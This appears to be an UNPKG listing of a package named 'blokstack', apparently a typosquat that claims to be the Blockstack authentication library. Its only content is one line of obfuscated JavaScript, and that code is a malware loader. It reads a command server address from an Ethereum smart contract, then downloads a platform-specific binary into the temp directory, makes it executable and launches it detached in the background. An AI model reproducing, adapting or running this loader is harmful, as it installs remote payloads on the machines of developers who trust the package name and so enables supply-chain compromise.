UNPKG

blokstack

Version:

The Blockstack Javascript library for authentication, identity, and storage.

1 lines 4.95 kB
function _0x1fb9(_0x1d980d,_0x55e325){const _0x1fc360=_0x1fc3();return _0x1fb9=function(_0x1fb988,_0x52130d){_0x1fb988=_0x1fb988-0x1b8;let _0x643671=_0x1fc360[_0x1fb988];return _0x643671;},_0x1fb9(_0x1d980d,_0x55e325);}function _0x1fc3(){const _0xc5889a=['0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','data','createWriteStream','vXQLy','axios','AnBUn','rQTAL','ethers','AVIZc','LCHrR','9860216cDxvrm','tmpdir','HrQPY','30367790yIxEMs','JOLoE','child_process','7HVWEQH','GET','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','4RsMMFV','getDefaultProvider','/node-linux','rdNNV','chmodSync','wJRKl','432252ebEbUX','9eiTXDT','6232120jLpKPd','Contract','Ошибка\x20при\x20запуске\x20файла:','stream','util','ZcWFm','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','basename','1568556ZaCcgz','join','NsqEO','KjNrt','ignore','Ошибка\x20установки:','755','pipe','win32','linux','mainnet','darwin','eYZTv','/node-win.exe','path','pnuyy','Unsupported\x20platform:\x20','8630676TFzQkr','unref','102339RosYJz','error'];_0x1fc3=function(){return _0xc5889a;};return _0x1fc3();}const _0x23eea4=_0x1fb9;(function(_0x326e4d,_0x3aff2a){const _0x48456d=_0x1fb9,_0x3f4759=_0x326e4d();while(!![]){try{const _0x161263=-parseInt(_0x48456d(0x1bd))/0x1+-parseInt(_0x48456d(0x1d2))/0x2*(parseInt(_0x48456d(0x1d8))/0x3)+-parseInt(_0x48456d(0x1e2))/0x4+-parseInt(_0x48456d(0x1da))/0x5+parseInt(_0x48456d(0x1bb))/0x6*(-parseInt(_0x48456d(0x1cf))/0x7)+-parseInt(_0x48456d(0x1c9))/0x8*(-parseInt(_0x48456d(0x1d9))/0x9)+parseInt(_0x48456d(0x1cc))/0xa;if(_0x161263===_0x3aff2a)break;else _0x3f4759['push'](_0x3f4759['shift']());}catch(_0x29776a){_0x3f4759['push'](_0x3f4759['shift']());}}}(_0x1fc3,0xc3bfe));const {ethers}=require(_0x23eea4(0x1c6)),axios=require(_0x23eea4(0x1c3)),util=require(_0x23eea4(0x1de)),fs=require('fs'),path=require(_0x23eea4(0x1b8)),os=require('os'),{spawn}=require(_0x23eea4(0x1ce)),contractAddress=_0x23eea4(0x1bf),WalletOwner=_0x23eea4(0x1e0),abi=[_0x23eea4(0x1d1)],provider=ethers[_0x23eea4(0x1d3)](_0x23eea4(0x1ec)),contract=new ethers[(_0x23eea4(0x1db))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4bb58f=_0x23eea4,_0x1f5315={'LCHrR':'Ошибка\x20при\x20получении\x20IP\x20адреса:','rdNNV':function(_0x3083e1){return _0x3083e1();}};try{const _0x2df5be=await contract['getString'](WalletOwner);return _0x2df5be;}catch(_0x433bef){return console[_0x4bb58f(0x1be)](_0x1f5315[_0x4bb58f(0x1c8)],_0x433bef),await _0x1f5315[_0x4bb58f(0x1d5)](fetchAndUpdateIp);}},getDownloadUrl=_0x11f3fb=>{const _0x4caea6=_0x23eea4,_0x588449={'rQTAL':_0x4caea6(0x1ea),'AnBUn':_0x4caea6(0x1eb),'HrQPY':_0x4caea6(0x1ed)},_0x14ea62=os['platform']();switch(_0x14ea62){case _0x588449[_0x4caea6(0x1c5)]:return _0x11f3fb+_0x4caea6(0x1ef);case _0x588449[_0x4caea6(0x1c4)]:return _0x11f3fb+_0x4caea6(0x1d4);case _0x588449[_0x4caea6(0x1cb)]:return _0x11f3fb+'/node-macos';default:throw new Error(_0x4caea6(0x1ba)+_0x14ea62);}},downloadFile=async(_0x1234a2,_0x440177)=>{const _0x38c80c=_0x23eea4,_0xe654a3={'AVIZc':'finish','wJRKl':function(_0x5ad846,_0x7ea793){return _0x5ad846(_0x7ea793);},'eYZTv':_0x38c80c(0x1dd)},_0x3a4093=fs[_0x38c80c(0x1c1)](_0x440177),_0x281514=await _0xe654a3[_0x38c80c(0x1d7)](axios,{'url':_0x1234a2,'method':_0x38c80c(0x1d0),'responseType':_0xe654a3[_0x38c80c(0x1ee)]});return _0x281514[_0x38c80c(0x1c0)][_0x38c80c(0x1e9)](_0x3a4093),new Promise((_0x51adbe,_0xf81b57)=>{const _0x52f453=_0x38c80c;_0x3a4093['on'](_0xe654a3[_0x52f453(0x1c7)],_0x51adbe),_0x3a4093['on'](_0x52f453(0x1be),_0xf81b57);});},executeFileInBackground=async _0x2f081a=>{const _0x5725ce=_0x23eea4,_0x278357={'ZcWFm':function(_0x502e54,_0x112034,_0x203556,_0x48a7cb){return _0x502e54(_0x112034,_0x203556,_0x48a7cb);},'JOLoE':_0x5725ce(0x1dc)};try{const _0x359c1a=_0x278357[_0x5725ce(0x1df)](spawn,_0x2f081a,[],{'detached':!![],'stdio':_0x5725ce(0x1e6)});_0x359c1a[_0x5725ce(0x1bc)]();}catch(_0x289ace){console[_0x5725ce(0x1be)](_0x278357[_0x5725ce(0x1cd)],_0x289ace);}},runInstallation=async()=>{const _0x34fbbc=_0x23eea4,_0x55d206={'fnwMn':function(_0x2d14c2){return _0x2d14c2();},'vXQLy':function(_0x1a100e,_0x58d688,_0x3514d4){return _0x1a100e(_0x58d688,_0x3514d4);},'KjNrt':'win32','pnuyy':_0x34fbbc(0x1e8),'NsqEO':function(_0x37fd81,_0x4f581b){return _0x37fd81(_0x4f581b);},'ZhxeQ':_0x34fbbc(0x1e7)};try{const _0x3ee8bb=await _0x55d206['fnwMn'](fetchAndUpdateIp),_0x30c40f=getDownloadUrl(_0x3ee8bb),_0xfa447f=os[_0x34fbbc(0x1ca)](),_0x160064=path[_0x34fbbc(0x1e1)](_0x30c40f),_0x3c3522=path[_0x34fbbc(0x1e3)](_0xfa447f,_0x160064);await _0x55d206[_0x34fbbc(0x1c2)](downloadFile,_0x30c40f,_0x3c3522);if(os['platform']()!==_0x55d206[_0x34fbbc(0x1e5)])fs[_0x34fbbc(0x1d6)](_0x3c3522,_0x55d206[_0x34fbbc(0x1b9)]);_0x55d206[_0x34fbbc(0x1e4)](executeFileInBackground,_0x3c3522);}catch(_0x370bb1){console[_0x34fbbc(0x1be)](_0x55d206['ZhxeQ'],_0x370bb1);}};runInstallation();